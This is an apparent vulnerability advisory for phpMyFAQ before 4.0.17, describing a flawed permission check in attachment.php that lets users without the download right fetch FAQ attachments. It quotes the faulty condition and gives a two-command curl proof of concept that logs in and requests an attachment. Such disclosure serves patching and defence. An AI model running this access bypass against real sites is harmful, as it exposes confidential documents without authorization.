| Gói / sản phẩm | Phiên bản bị ảnh hưởng | Phiên bản đã vá |
|---|---|---|
| phpmyfaq/phpmyfaq | < 4.0.17 | 4.0.17 |
| thorsten/phpmyfaq | < 4.0.17 | 4.0.17 |
| phpmyfaq | < 4.0.17 | 4.0.17 |
A logged‑in user without the dlattachment right can download FAQ attachments. This is due to a permissive permission check in attachment.php that treats the mere presence of a right key as authorization and a flawed group/user logic expression.
In attachment.php, the access decision uses:
($groupPermission || ($groupPermission && $userPermission)) && isset($permission['dlattachment'])
isset() returns true even when the right value is false, and the logic simplifies to $groupPermission for some permission modes. As a result, a user without dlattachment can still access the attachment.
Precondition: A non‑admin user exists; an attachment is associated to a FAQ record; records.allowDownloadsForGuests = false. Log in as a non‑admin user without dlattachment. Request the attachment download endpoint.
curl -c /tmp/pmf_api_cookies.txt \
-H 'Content-Type: application/json' \
-d '{"username":"tester","password":"Test1234!"}' \
http://192.168.40.16/phpmyfaq/api/v3.0/login
curl -i -b /tmp/pmf_api_cookies.txt \
"http://192.168.40.16/phpmyfaq/index.php?action=attachment&id=1"
Unauthorized users can download attachments (confidentiality breach). Depending on content, this may expose sensitive documents.
Bạn đang dùng một trong các sản phẩm này? Quét site để biết có đang lộ phiên bản có lỗ hổng không.
Quét site miễn phí